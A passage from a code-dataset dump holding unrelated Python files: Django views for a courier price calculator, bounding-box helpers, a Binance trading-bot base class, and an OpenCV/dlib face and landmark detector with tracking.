= models.ServiceProvider.objects.all()\n return render(request, 'service_provider.html', context)\n\n\ndef new_service_provider(request):\n template_name = 'new_service_provider.html'\n\n if request.method == 'GET':\n print(\"called GET\")\n service_form = forms.ServiceProviderCreateForm(request.GET or None)\n\n elif request.method == 'POST':\n print(\"called POST\")\n print(request.POST)\n service_form = forms.ServiceProviderCreateForm(request.POST)\n\n if service_form.is_valid():\n obj = service_form.save(commit=False)\n obj.author = request.user\n obj.is_active = True\n obj.save()\n messages.add_message(request, messages.SUCCESS, 'New Service Provider Added Successfully!')\n return redirect('service-provider-page')\n\n else:\n print(\"Not Valid Create Form\")\n print(service_form.errors)\n\n return render(request, template_name, {\n 'service_form': service_form,\n 'title': 'New Service Provider',\n 'nav_bar': 'new_service_provider',\n })\n\n\nclass ServiceProviderUpdateView(SuccessMessageMixin, UpdateView):\n model = models.ServiceProvider\n form_class = forms.ServiceProviderCreateForm\n success_url = reverse_lazy('service-provider-page')\n template_name = 'update_service_provider.html'\n success_message = \"Service Provider was updated successfully\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"title\"] = \"Update Service Provider Information\"\n context[\"nav_bar\"] = \"service_provider_list\"\n return context\n\n\ndef delete_service_provider(request, id):\n if request.method == 'GET':\n instance = models.ServiceProvider.objects.get(id=id)\n models.ServiceProvider.objects.filter(id=instance.id).delete()\n instance.delete()\n messages.add_message(request, messages.WARNING, 'Delete Success')\n return redirect('service-provider-page')\n\n\ndef pricing(request):\n context = context_data(request)\n context['title'] = 'Pricing'\n context['nav_bar'] = \"pricing_list\"\n context['pricing'] = models.Pricing.objects.all()\n return render(request, 'pricing.html', context)\n\n\ndef new_pricing(request):\n template_name = 'new_pricing.html'\n\n if request.method == 'GET':\n print(\"called GET\")\n pricing_form = forms.PricingCreateForm(request.GET or None)\n\n elif request.method == 'POST':\n print(\"called POST\")\n print(request.POST)\n pricing_form = forms.PricingCreateForm(request.POST)\n\n if pricing_form.is_valid():\n obj = pricing_form.save(commit=False)\n obj.author = request.user\n obj.is_active = True\n obj.save()\n messages.add_message(request, messages.SUCCESS, 'New Pricing Added Successfully!')\n return redirect('pricing-page')\n\n else:\n print(\"Not Valid Create Form\")\n print(pricing_form.errors)\n\n return render(request, template_name, {\n 'pricing_form': pricing_form,\n 'title': 'New Pricing',\n 'nav_bar': 'new_pricing',\n })\n\n\nclass PricingUpdateView(SuccessMessageMixin, UpdateView):\n model = models.Pricing\n form_class = forms.PricingCreateForm\n success_url = reverse_lazy('pricing-page')\n template_name = 'update_pricing.html'\n success_message = \"Pricing was updated successfully\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"title\"] = \"Update Pricing Information\"\n context[\"nav_bar\"] = \"pricing_list\"\n return context\n\n\ndef delete_pricing(request, id):\n if request.method == 'GET':\n instance = models.Pricing.objects.get(id=id)\n models.Pricing.objects.filter(id=instance.id).delete()\n instance.delete()\n messages.add_message(request, messages.WARNING, 'Delete Success')\n return redirect('pricing-page')\n\n\ndef commission_setting(request):\n context = context_data(request)\n context['title'] = 'Commission Setting'\n context['nav_bar'] = \"commission_setting_list\"\n context['commissions'] = models.CommissionSetting.objects.all()\n return render(request, 'commission_setting.html', context)\n\n\ndef dhl_commission_setting(request):\n context = context_data(request)\n context['title'] = 'Commission Setting'\n context['nav_bar'] = \"dhl_commission_setting_list\"\n context['commissions'] = models.CommissionSetting.objects.filter(courier='3').all()\n return render(request, 'commission_setting.html', context)\n\n\ndef upc_commission_setting(request):\n context = context_data(request)\n context['title'] = 'Commission Setting'\n context['nav_bar'] = \"upc_commission_setting_list\"\n context['commissions'] = models.CommissionSetting.objects.filter(courier='2').all()\n return render(request, 'commission_setting.html', context)\n\n\ndef tpc_commission_setting(request):\n context = context_data(request)\n context['title'] = 'Commission Setting'\n context['nav_bar'] = \"tpc_commission_setting_list\"\n context['commissions'] = models.CommissionSetting.objects.filter(courier='1').all()\n return render(request, 'commission_setting.html', context)\n\n\ndef new_commission_setting(request):\n template_name = 'new_commission_setting.html'\n\n if request.method == 'GET':\n print(\"called GET\")\n commission_form = forms.CommissionSettingCreateForm(request.GET or None)\n\n elif request.method == 'POST':\n print(\"called POST\")\n print(request.POST)\n commission_form = forms.CommissionSettingCreateForm(request.POST)\n\n if commission_form.is_valid():\n obj = commission_form.save(commit=False)\n obj.author = request.user\n obj.is_active = True\n obj.save()\n messages.add_message(request, messages.SUCCESS, 'New Commission Setting Added Successfully!')\n return redirect('commission-setting-page')\n\n else:\n print(\"Not Valid Create Form\")\n print(commission_form.errors)\n\n return render(request, template_name, {\n 'commission_form': commission_form,\n 'title': 'New Commission Setting',\n 'nav_bar': 'new_commission_setting',\n })\n\n\nclass CommissionSettingUpdateView(SuccessMessageMixin, UpdateView):\n model = models.CommissionSetting\n form_class = forms.CommissionSettingCreateForm\n success_url = reverse_lazy('commission_setting-page')\n template_name = 'update_commission_setting.html'\n success_message = \"Commission Setting was updated successfully\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"title\"] = \"Update Commission Setting Information\"\n context[\"nav_bar\"] = \"commission_setting_list\"\n return context\n\n\ndef delete_commission_setting(request, id):\n if request.method == 'GET':\n instance = models.CommissionSetting.objects.get(id=id)\n models.CommissionSetting.objects.filter(id=instance.id).delete()\n instance.delete()\n messages.add_message(request, messages.WARNING, 'Delete Success')\n return redirect('commission-setting-page')\n\n\ndef zone_setting(request):\n context = context_data(request)\n context['title'] = 'Zone Setting'\n context['nav_bar'] = \"zone_setting_list\"\n context['zones'] = models.ZoneSetting.objects.all()\n return render(request, 'zone_setting.html', context)\n\n\ndef dhl_zone_setting(request):\n context = context_data(request)\n context['title'] = 'Zone Setting'\n context['nav_bar'] = \"dhl_zone_setting_list\"\n context['zones'] = models.ZoneSetting.objects.filter(courier=3).all()\n return render(request, 'zone_setting.html', context)\n\n\ndef upc_zone_setting(request):\n context = context_data(request)\n context['title'] = 'Zone Setting'\n context['nav_bar'] = \"upc_zone_setting_list\"\n context['zones'] = models.ZoneSetting.objects.filter(courier=2).all()\n return render(request, 'zone_setting.html', context)\n\n\ndef tpc_zone_setting(request):\n context = context_data(request)\n context['title'] = 'Zone Setting'\n context['nav_bar'] = \"tpc_zone_setting_list\"\n context['zones'] = models.ZoneSetting.objects.filter(courier=1).all()\n return render(request, 'zone_setting.html', context)\n\n\ndef new_zone_setting(request):\n template_name = 'new_zone_setting.html'\n\n if request.method == 'GET':\n print(\"called GET\")\n zone_form = forms.ZoneSettingCreateForm(request.GET or None)\n\n elif request.method == 'POST':\n print(\"called POST\")\n print(request.POST)\n zone_form = forms.ZoneSettingCreateForm(request.POST)\n\n if zone_form.is_valid():\n obj = zone_form.save(commit=False)\n obj.author = request.user\n obj.is_active = True\n obj.save()\n messages.add_message(request, messages.SUCCESS, 'New Zone setting Added Successfully!')\n return redirect('zone-setting-page')\n\n else:\n print(\"Not Valid Create Form\")\n print(zone_form.errors)\n\n return render(request, template_name, {\n 'zone_form': zone_form,\n 'title': 'New Zone Setting',\n 'nav_bar': 'new_zone_setting',\n })\n\n\nclass ZoneSettingUpdateView(SuccessMessageMixin, UpdateView):\n model = models.ZoneSetting\n form_class = forms.ZoneSettingCreateForm\n success_url = reverse_lazy('zone-setting-page')\n template_name = 'update_zone_setting.html'\n success_message = \"Zone Setting was updated successfully\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"title\"] = \"Update Zone Setting Information\"\n context[\"nav_bar\"] = \"zone_setting_list\"\n return context\n\n\ndef delete_zone_setting(request, id):\n if request.method == 'GET':\n instance = models.ZoneSetting.objects.get(id=id)\n models.ZoneSetting.objects.filter(id=instance.id).delete()\n instance.delete()\n messages.add_message(request, messages.WARNING, 'Delete Success')\n return redirect('zone-setting-page')\n\n\ndef index(request):\n context = context_data(request)\n context['title'] = 'index'\n context['nav_bar'] = \"index\"\n\n request_data = request.GET\n check_country = request_data.get(\"check_country\")\n check_continent = request_data.get(\"continent\")\n check_courier = request_data.get(\"check_courier\")\n check_provider = request_data.get(\"check_provider\")\n check_weight = request_data.get(\"check_weight\")\n check_type = request_data.get(\"check_type\")\n check_commission = request_data.get(\"commission\")\n check_discount = request_data.get(\"discount\")\n check_vat = request_data.get(\"vat\")\n # print(check_country, check_continent, check_courier, check_provider, check_weight, check_type)\n\n continents = models.Continent.objects.filter(name=check_continent)\n context['continents'] = continents\n\n price = 0\n # name = ''\n for item in context['continents']:\n price = float(item.price)\n # name = item.name\n # price = price\n\n zones = models.ZoneSetting.objects.filter(courier=check_courier, country=check_country)\n context['zones'] = zones\n\n c_zone = 0\n for item in context['zones']:\n c_zone = item.zone\n c_zone = c_zone\n\n fuel = models.CommissionSetting.objects.filter(courier=check_courier)\n context['fuel'] = fuel\n\n charge = 0\n for item in context['fuel']:\n charge = float(item.fuel_charge)\n\n weight_cost = models.Pricing.objects.filter(courier=check_courier, service=check_provider, type=check_type, weight=check_weight, zone=c_zone)\n context['weight_cost'] = weight_cost\n\n weight_charge = 0\n for item in context['weight_cost']:\n weight_charge = float(item.price)\n weight_charge = weight_charge\n\n total = price + charge + weight_charge\n commission = float(check_commission or 0)\n total_commission = (total*commission)/100\n total_with_commission = total + total_commission\n discount = float(check_discount or 0)\n total_discount = (total_with_commission*discount)/100\n total_with_discount = (total_with_commission - total_discount)\n vat = float(check_vat or 0)\n total_vat = (total_with_discount*vat)/100\n total_with_vat = total_with_discount + total_vat\n\n dollar_rate = models.DollarRate.objects.all()\n context[dollar_rate] = dollar_rate\n\n rate = 0\n for item in context[dollar_rate]:\n rate = item.rate\n\n total_taka = total_with_vat * rate\n\n context['countries'] = models.Country.objects.all()\n context['couriers'] = models.Courier.objects.all()\n context['providers'] = models.ServiceProvider.objects.all()\n context['weights'] = models.Weight.objects.all()\n\n context['continent_price'] = price\n # context['continents_name'] = name\n context['c_zone'] = c_zone\n context['charge'] = charge\n context['weight_charge'] = weight_charge\n context['total_taka'] = total_taka\n context['total'] = total_with_vat\n context['commission_value'] = total_commission\n context['discount_value'] = total_discount\n context['vat_value'] = total_vat\n context['commission_percentage'] = check_commission\n context['discount_percentage'] = check_discount\n context['vat_percentage'] = check_vat\n context['continents_name'] = check_continent\n context['check_type'] = check_type\n context['check_weight'] = check_weight\n return render(request, 'web/index.html', context)\n\n\ndef load_services(request):\n courier_id = request.GET.get('check_courier')\n services = models.ServiceProvider.objects.filter(courier_id=courier_id)\n context = {\n 'services': services\n }\n return render(request, 'web/service.html', context)\n","repo_name":"ShafayetZim/courier_price_calculator","sub_path":"dataset/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":25759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"18457089111","text":"\"\"\"\nBounding box helper functions. The convention is that a bounding\nbox should be specified as [x_min, y_min, x_max, y_max].\n\"\"\"\n\n# from core.math import clamp\n\n\n# ------------------------------------------------------------------------------------------------\n\ndef area(bbox):\n \"\"\"\n Computes the area of a bounding box.\n \"\"\"\n\n x1, y1, x2, y2 = bbox\n return (y2 - y1) * (x2 - x1)\n\n\n# ------------------------------------------------------------------------------------------------\n\ndef compute_iou(bbox1, bbox2):\n \"\"\"\n Calculates intersection over union (IoU, overlap) of the given boxes.\n \"\"\"\n\n # calculate the intersection bounding box\n x1 = max(bbox1[0], bbox2[0])\n y1 = max(bbox1[1], bbox2[1])\n x2 = min(bbox1[2], bbox2[2])\n y2 = min(bbox1[3], bbox2[3])\n\n if x1 >= x2 or y1 >= y2:\n return 0\n\n area_intersection = area((x1, y1, x2, y2))\n area_union = area(bbox1) + area(bbox2) - area_intersection\n iou = area_intersection / area_union\n\n return iou\n\n\n# ------------------------------------------------------------------------------------------------\n\ndef compute_intersection_bbox(bbox1, bbox2):\n \"\"\"\n Returns the intersection bounding box.\n \"\"\"\n\n # calculate the intersection bounding box\n x1 = max(bbox1[0], bbox2[0])\n y1 = max(bbox1[1], bbox2[1])\n x2 = min(bbox1[2], bbox2[2])\n y2 = min(bbox1[3], bbox2[3])\n\n if x1 > x2 or y1 > y2:\n # no intersection\n return None\n\n return [x1, y1, x2, y2]\n\n\n# ------------------------------------------------------------------------------------------------\n\ndef scale(bbox, fx, fy):\n \"\"\"\n Scale a bounding box according to different scaling factors\n on the x and y axes.\n \"\"\"\n\n return [bbox[0] * fx, bbox[1] * fy, bbox[2] * fx, bbox[3] * fy]\n\n\n# ------------------------------------------------------------------------------------------------\n\n# def enlarge_bbox(bbox, W, H, enlarge_factor=1.1, enlarge_delta=10):\n# \"\"\"\n# Enlarge a rectangle (bounding box) such that its\n# center position remains fixed. Also clamp it such that the\n# resulting box does not exceed image dimensions W, H.\n# \"\"\"\n# min_x, min_y, max_x, max_y = bbox\n# w = max_x - min_x\n# h = max_y - min_y\n#\n# w2 = w * enlarge_factor + enlarge_delta\n# h2 = h * enlarge_factor + enlarge_delta\n#\n# cx = (min_x + max_x) // 2\n# cy = (min_y + max_y) // 2\n#\n# min_x2 = cx - w2 // 2\n# max_x2 = cx + w2 // 2\n# min_y2 = cy - h2 // 2\n# max_y2 = cy + h2 // 2\n#\n# min_x2 = clamp(min_x2, 0, W)\n# max_x2 = clamp(max_x2, 0, W)\n# min_y2 = clamp(min_y2, 0, H)\n# max_y2 = clamp(max_y2, 0, H)\n#\n# if min_x2 == max_x2:\n# min_x2 = clamp(min_x2 - 2, 0, W)\n# max_x2 = clamp(max_x2 + 2, 0, W)\n#\n# if min_y2 == max_y2:\n# min_y2 = clamp(min_y2 - 2, 0, H)\n# max_y2 = clamp(max_y2 + 2, 0, H)\n#\n# return int(min_x2), int(min_y2), int(max_x2), int(max_y2)\n\n# ------------------------------------------------------------------------------------------------\n","repo_name":"bemihai/video-reid","sub_path":"core/bbox.py","file_name":"bbox.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"38773446011","text":"import pandas as pd\nfrom datetime import timedelta, datetime\nimport time\n# from sklearn.base import BaseEstimator, ClassifierMixin\nimport logging\nfrom core.trade_service.data_manager.data_manager import Data_Manager\nfrom core.connectors.binance_connector import Binance_Connector\nfrom core.utils.time_utils import seconds_to_next_event, get_minutes_from_interval\nfrom core.trade_service.instruments import scores\n\n\nclass BaseTrader():\n def __init__(self,\n mode='test',\n symbol='BTCUSDT',\n interval_source='5m',\n interval_group='1h',\n start_time=datetime.fromisoformat('2020-01-01 00:00:00'),\n on_investment=False # TODO, recuperar automaticamente\n ):\n assert mode in ['PROD', 'test', 'sim'], 'mode should be PROD, test or sim' # TODO pasar a un exception general\n self.mode = mode\n self.symbol = symbol\n self.interval_source = interval_source\n self.interval_group = interval_group\n self.data_mgr = Data_Manager(mode,\n symbol,\n interval_source=interval_source,\n interval_group=interval_group,\n start_time=start_time)\n self.con = Binance_Connector(mode, symbol)\n\n self.on_investment = on_investment\n self.trade_num = 0\n self.trade_record = {}\n self.last_timestamp = self.data_mgr.start_time\n self.current_time = self.data_mgr.start_time + \\\n timedelta(minutes=get_minutes_from_interval(self.interval_source))\n if on_investment:\n trace_data = {self.trade_num: {'start_datetime': self.current_time,\n 'start_price': self.con.get_current_price()\n }\n }\n self.trade_record.update(trace_data)\n\n def restart(self):\n pass\n\n def evaluate_buy(self, data) -> bool:\n NotImplemented\n\n def evaluate_sell(self, data) -> bool:\n NotImplemented\n\n def get_data(self):\n if self.mode in ['PROD', 'test']:\n data = self.data_mgr.get_data()\n try_num = 0\n while self.last_timestamp == data.index.max():\n logging.info('get_data: WARNING Nothing to get')\n try_num += 1\n self.wait(1)\n data = self.data_mgr.get_data()\n self.last_timestamp = data.index.max()\n logging.info('get_data: OK')\n return data\n else:\n return self.data_mgr.get_data_to(self.current_time)\n\n def evaluate(self, percentage_trade=1):\n logging.info('trade evaluate: Start Evaluation')\n while not self.data_mgr.end_data:\n data = self.get_data()\n if self.on_investment:\n if self.evaluate_sell(data):\n self.con.sell()\n self.on_investment = False\n self.trace('sell', data)\n else:\n logging.info('trade evaluation: Selling Evaluation = False')\n else:\n if self.evaluate_buy(data):\n self.con.buy(percentage_trade=percentage_trade)\n self.on_investment = True\n self.trace('buy', data)\n else:\n logging.info('trade evaluation: Buying Evaluation: False')\n if self.mode in ['test', 'PROD']:\n self.wait(seconds_to_next_event(self.interval_source, 20) / 60)\n else:\n self.update_current_time_(get_minutes_from_interval(self.interval_source))\n\n def trace(self, transaction_type: str, data):\n if transaction_type == 'buy':\n trace_data = {self.trade_num: {'start_datetime': self.current_time,\n 'start_price': data.close.iloc[-1]\n }\n }\n self.trade_record.update(trace_data)\n elif transaction_type == 'sell':\n trace_data = {'end_datetime': self.current_time,\n 'end_price': data.close.iloc[-1]\n }\n self.trade_record.get(self.trade_num).update(trace_data)\n self.trade_num += 1\n else:\n trace_data = {}\n logging.info('trade trace: {}'.format(trace_data))\n\n def fit(self, X, y):\n self.data_mgr.restart()\n self.trade_record = {}\n self.restart()\n self.evaluate()\n return self\n\n def score(self, X, y):\n result_pd = pd.DataFrame(self.trade_record).T\n if len(result_pd) > 0:\n #result_pd.loc[:, 'gain'] = result_pd.apply(\n # lambda row: (row.end_price - row.start_price) * 100 / row.start_price,\n # axis=1)\n result_pd.loc[:, 'gain'] = scores.price_based_gain_adjusted(result_pd)\n result_pd.dropna(inplace=True)\n return result_pd.gain.sum()\n else:\n return 0\n\n def set_params(self, **parameters):\n for parameter, value in parameters.items():\n setattr(self, parameter, value)\n return self\n\n def wait(self, minutes):\n \"\"\"\n Time to wait until next event\n :param minutes:\n :return:\n \"\"\"\n logging.info('env - step: waiting for {} minutes'.format(minutes))\n time.sleep(minutes * 60)\n\n def update_current_time_(self, minutes):\n self.current_time = self.current_time + timedelta(minutes=minutes)\n","repo_name":"guidolo/CryptoTradingBot","sub_path":"core/trade_service/traders/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"40515360982","text":"from __future__ import print_function\nimport cv2\nimport numpy as np\nimport os\n\nfrom . import align_dlib\nimport dlib\n\nfrom .tracker import BboxTracker\n\nclass FacialFeatureDetector:\n def __init__(self, args):\n ### model init\n self.args = args\n self.bbox = None\n self.landmarks = None\n self.alignedFace = None\n if self.args.flgUseTracker == True:\n self.tracker = BboxTracker(self.args)\n self.flgTracking = False\n \n ### detector initialization\n # dlib\n self.align = align_dlib.AlignDlib(args.dlibFacePredictor, args.dlibCnnDetector, args.detector)\n # ocv old\n self.face_cascade_ocv = cv2.CascadeClassifier('./models/opencv_cascade/haarcascade_frontalface_alt.xml')\n # ocv dnn\n self.dnn_ocv_net = cv2.dnn.readNetFromCaffe(args.ocv_dnn_prototxt, args.ocv_dnn_model)\n # # dlib\n # if self.args.detector == 'hog' or self.args.detector == 'cnn':\n # self.align = align_dlib.AlignDlib(args.dlibFacePredictor, args.dlibCnnDetector, args.detector)\n # # ocv old\n # elif self.args.detector == 'ocv':\n # self.face_cascade_ocv = cv2.CascadeClassifier('./models/opencv_cascade/haarcascade_frontalface_alt.xml')\n # self.align = align_dlib.AlignDlib(args.dlibFacePredictor, args.dlibCnnDetector, args.detector)\n # # ocv dnn\n # elif self.args.detector == 'ssd':\n # self.dnn_ocv_net = cv2.dnn.readNetFromCaffe(args.ocv_dnn_prototxt, args.ocv_dnn_model)\n # self.align = align_dlib.AlignDlib(args.dlibFacePredictor, args.dlibCnnDetector, args.detector)\n # else:\n # self.align = align_dlib.AlignDlib(args.dlibFacePredictor, args.dlibCnnDetector, args.detector)\n # print ('detector type error: Use [ssd] or [hog] or [cnn]', file=sys.stderr)\n # exit()\n # for scene change\n self.prev_image = None\n\n def draw_landmark(self, img, list_points, color=(147,112,219), thickness=-1):\n if self.flgTracking == True:\n color = (127,127,127)\n if list_points == None:\n pass\n for idx, point in enumerate(list_points):\n rad = 1\n cv2.circle(img, point, rad, color, thickness)\n \n def preprocess_for_dlib(self, img):\n bgrImg = img\n if bgrImg is None:\n raise Exception(\"Unable to load image\")\n rgbImg = cv2.cvtColor(bgrImg, cv2.COLOR_BGR2RGB)\n rgbImg_half = cv2.resize(rgbImg, (rgbImg.shape[1]//2, rgbImg.shape[0]//2))\n return rgbImg, rgbImg_half\n \n def detectFace(self, rgbImg):\n bbs, rect_bb = self.align.getLargestFaceBoundingBox(rgbImg)\n \n if rect_bb == None and self.args.flgUseTracker == False:\n return None, None\n self.flgTracking = False\n \n elif rect_bb == None and self.args.flgUseTracker == True:\n ### scene change\n if self.prev_image is not None:\n cimg = rgbImg.astype(np.float32)/255.\n pimg = self.prev_image.astype(np.float32)/255.\n diff = cimg - pimg\n score = abs(np.sum(diff)/(cimg.shape[0]*cimg.shape[1]))\n else:\n score = 0\n \n if score > 0.04:\n self.flgTracking = False\n rect_bb = None\n bbs = None\n self.tracker.tracker = cv2.TrackerKCF_create()\n else:\n bb = self.tracker.updateBbox(rgbImg)\n rect_bb = align_dlib.bb_to_rect(bb)\n if rect_bb is not None:\n self.flgTracking = True\n \n else:\n self.flgTracking = False\n if rect_bb == None:\n return None, None\n rect_bb_up = dlib.rectangle(left=rect_bb.left()*2, top=rect_bb.top()*2, right=rect_bb.right()*2, bottom=rect_bb.bottom()*2)\n bbox_points = align_dlib.rect_to_bb(rect_bb_up)\n \n self.prev_image = rgbImg\n return rect_bb_up, bbox_points\n \n def detectFace_ocv(self, rgbImg):\n img_gray = cv2.cvtColor(rgbImg, cv2.COLOR_RGB2GRAY)\n bbs, rejectLevels, levelWeights = self.face_cascade_ocv.detectMultiScale3(img_gray, 1.3, 5, outputRejectLevels=True) # x,y,w,h\n if len(bbs) == 0 and self.args.flgUseTracker == False:\n self.flgTracking = False\n return None, None\n elif len(bbs) == 0 and self.args.flgUseTracker == True:\n self.flgTracking = True\n largest_bb_xyxy = self.tracker.updateBbox(rgbImg)\n if largest_bb_xyxy == None:\n return None, None\n x1,y1 = largest_bb_xyxy[0]\n x2,y2 = largest_bb_xyxy[1]\n largest_bb = (x1,y1,x2-x1,y2-y1)\n else:\n largest_bb = max(bbs, key=lambda rect: rect[2]*rect[3])\n self.flgTracking = False\n x,y,w,h = largest_bb\n rect_bb_up = dlib.rectangle(left=2*x,top=2*y,right=2*(x+w),bottom=2*(y+h))\n return rect_bb_up, [(2*x,2*y), (2*(x+w), 2*(y+h))]\n\n def detectFace_dnn_ocv(self, bgrImg, flgSubDetector=False):\n (h, w) = bgrImg.shape[:2]\n blob = cv2.dnn.blobFromImage(cv2.resize(bgrImg.copy(), (300, 300)), 1.0, (300, 300), (104.0, 177.0, 123.0))\n self.dnn_ocv_net.setInput(blob)\n detections = self.dnn_ocv_net.forward()\n \n bbs = []\n for i in range(0, detections.shape[2]):\n conf_det = detections[0,0,i,2]\n if conf_det < self.args.conf_det:\n continue\n box = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\n (l, t, r, b) = box.astype(\"int\")\n t_new = int(t+(b-t)*0.1) # remove top margin\n t = t_new\n if (b-t) > (r-l):\n r_new = int((r+l)/2 + (b-t)/2 + 0.5)\n l_new = int((r+l)/2 - (b-t)/2 + 0.5)\n r = r_new\n l = l_new\n x,y,w,h = (l,t,r-l,b-t)\n bbs.append([x,y,w,h])\n \n if flgSubDetector == True:\n if len(bbs) == 0:\n return None, None\n largest_bb = max(bbs, key=lambda rect: rect[2]*rect[3])\n if largest_bb is None:\n return None, None\n self.flgTracking = False\n x,y,w,h = largest_bb\n\n rect_bb_up = dlib.rectangle(left=x,top=y,right=(x+w),bottom=(y+h))\n return rect_bb_up, [(x,y), ((x+w), (y+h))]\n\n if len(bbs) == 0 and self.args.flgUseTracker == False:\n self.flgTracking = False\n return None, None\n\n elif len(bbs) == 0 and self.args.flgUseTracker == True:\n ### scene change\n if self.prev_image is not None:\n cimg = bgrImg.astype(np.float32)/255.\n pimg = self.prev_image.astype(np.float32)/255.\n diff = cimg - pimg\n score = abs(np.sum(diff)/(cimg.shape[0]*cimg.shape[1]))\n else:\n score = 0\n \n if score > 0.04:\n self.flgTracking = False\n largest_bb = None\n bbs = None\n self.tracker.tracker = cv2.TrackerKCF_create()\n else:\n self.flgTracking = True\n largest_bb_xyxy = self.tracker.updateBbox(bgrImg)\n if largest_bb_xyxy == None:\n return None, None\n x1,y1 = largest_bb_xyxy[0]\n x2,y2 = largest_bb_xyxy[1]\n largest_bb = (x1,y1,x2-x1,y2-y1)\n else:\n largest_bb = max(bbs, key=lambda rect: rect[2]*rect[3])\n self.flgTracking = False\n \n if largest_bb is None:\n return None, []\n \n x,y,w,h = largest_bb\n\n rect_bb_up = dlib.rectangle(left=x,top=y,right=(x+w),bottom=(y+h))\n return rect_bb_up, [(x,y), ((x+w), (y+h))]\n\n def detectMultiFace(self, rgbImg):\n rect_bbs, rect_one = self.align.getLargestFaceBoundingBox(rgbImg)\n if rect_one is None:\n return None, None\n list_bb_points = []\n list_rect_bbs = []\n for rect_bb in rect_bbs:\n rect_bb_up = dlib.rectangle(left=rect_bb.left()*2, top=rect_bb.top()*2, right=rect_bb.right()*2, bottom=rect_bb.bottom()*2)\n bbox_points = align_dlib.rect_to_bb(rect_bb_up)\n list_bb_points.append(bbox_points)\n list_rect_bbs.append(rect_bb_up)\n \n return list_rect_bbs, list_bb_points\n \n def detectLandmark(self, rgbImg, rect_bbox):\n alignedFace, landmarks = self.align.align(self.args.dlib_img_size, rgbImg, rect_bbox, landmarkIndices=align_dlib.AlignDlib.OUTER_EYES_AND_NOSE)\n return landmarks, alignedFace\n\n def refine_bbox(self, bbox, landmarks):\n np_LM = np.array(landmarks)\n bbox_points = [(np.min(np_LM[:,0])-5, np.min(np_LM[:,1])-10), (np.max(np_LM[:,0])+5,np.max(np_LM[:,1])+5)]\n return bbox_points\n\n def refine_bboxes(self, list_face_candidate):\n if list_face_candidate is None:\n return None\n for face_candidate in list_face_candidate:\n if len(face_candidate) == 2 and face_candidate[1] != None:\n bbox_point = self.refine_bbox(face_candidate[0], face_candidate[1])\n face_candidate[0] = bbox_point\n return list_face_candidate\n \n def detectFF(self, img):\n self.bbox = None\n self.landmarks = None\n self.alignedFace = None\n \n # start = cv2.getTickCount()\n self.bgrImg = img\n self.rgbImg, rgbImg_half = self.preprocess_for_dlib(img)\n if self.args.detector == 'hog' or self.args.detector == 'cnn':\n rect_bb, bbox_points_origin = self.detectFace(rgbImg_half)\n if rect_bb is None:\n rect_bb, bbox_points_origin = self.detectFace_dnn_ocv(self.bgrImg, flgSubDetector=True)\n elif self.args.detector == 'ocv':\n rect_bb, bbox_points_origin = self.detectFace_ocv(rgbImg_half)\n elif self.args.detector == 'ssd':\n rect_bb, bbox_points_origin = self.detectFace_dnn_ocv(self.bgrImg)\n self.bbox = bbox_points_origin\n # detection_time = (cv2.getTickCount()-start)/cv2.getTickFrequency() * 1000\n # print ('detection time: %.2fms'%detection_time)\n if rect_bb == None:\n return None, None, None\n \n landmarks, alignedFace = self.detectLandmark(self.rgbImg, rect_bb)\n \n if landmarks == None:\n return self.bbox, None, None\n \n if self.args.flgUseTracker == True and self.flgTracking == True:\n refined_bbox_points = bbox_points_origin\n else:\n refined_bbox_points = self.refine_bbox(bbox_points_origin, landmarks)\n\n if self.args.flgUseTracker == True and self.flgTracking == False:\n bbox_xywh = self.tracker.xyxy2xywh(refined_bbox_points)\n if self.args.detector == 'ssd':\n bbox_xyxy = self.tracker.xywh2xyxy(bbox_xywh)\n ok = self.tracker.initTracker(rgbImg_half, bbox_xyxy)\n\n else:\n bbox_xywh_half = tuple([i//2 for i in bbox_xywh])\n bbox_xyxy_half = self.tracker.xywh2xyxy(bbox_xywh_half)\n ok = self.tracker.initTracker(self.bgrImg, bbox_xyxy_half)\n \n self.bbox = refined_bbox_points\n self.landmarks = landmarks\n self.alignedFace = alignedFace\n return self.bbox, self.landmarks, self.alignedFace\n\n def detect_multiFacialFeature(self, img):\n self.list_bboxes = None\n self.list_landmarks = None\n self.alignedFace = None\n \n self.bgrImg = img\n self.rgbImg, rgbImg_half = self.preprocess_for_dlib(img)\n list_rect_bbs, list_bbox_points_origin = self.detectMultiFace(rgbImg_half)\n self.list_bboxes = list_bbox_points_origin\n if list_rect_bbs == None:\n return None, None, None\n self.list_landmarks = []\n self.list_face = []\n for rect_bb, bbox_points_origin in zip(list_rect_bbs, list_bbox_points_origin):\n landmarks, alignedFace = self.detectLandmark(self.rgbImg, rect_bb)\n if landmarks == None:\n landmarks = [-1]\n # self.list_landmarks.append(landmarks)\n self.list_face.append([bbox_points_origin, landmarks])\n\n list_refined_face = self.refine_bboxes(list_face_candidate=self.list_face)\n\n # if self.args.flgUseTracker == True and self.flgTracking == True:\n # refined_bbox_points = bbox_points_origin\n # else:\n # refined_bbox_points = self.refine_bbox(bbox_points_origin, landmarks)\n\n # if self.args.flgUseTracker == True and self.flgTracking == False:\n # bbox_xywh = self.tracker.xyxy2xywh(refined_bbox_points)\n # bbox_xywh_half = tuple([i/2 for i in bbox_xywh])\n # bbox_xyxy_half = self.tracker.xywh2xyxy(bbox_xywh_half)\n # ok = self.tracker.initTracker(rgbImg_half, bbox_xyxy_half)\n \n np_refined_face = np.array(list_refined_face)\n np_refined_face = np.swapaxes(np_refined_face, 0, 1)\n # print np_refined_face[0].tolist()\n self.list_bboxes = np_refined_face[0].tolist()\n self.list_landmarks = np_refined_face[1].tolist()\n \n # self.list_bboxes = list_refined_face\n # self.landmarks = list_landmarks\n # self.alignedFace = alignedFace\n return self.list_bboxes, self.list_landmarks, self.alignedFace\n\n def drawFacialFeatures(self, show, bbox=None, landmarks=None):\n if self.flgTracking == False:\n # color_rect = (128,255,0)\n 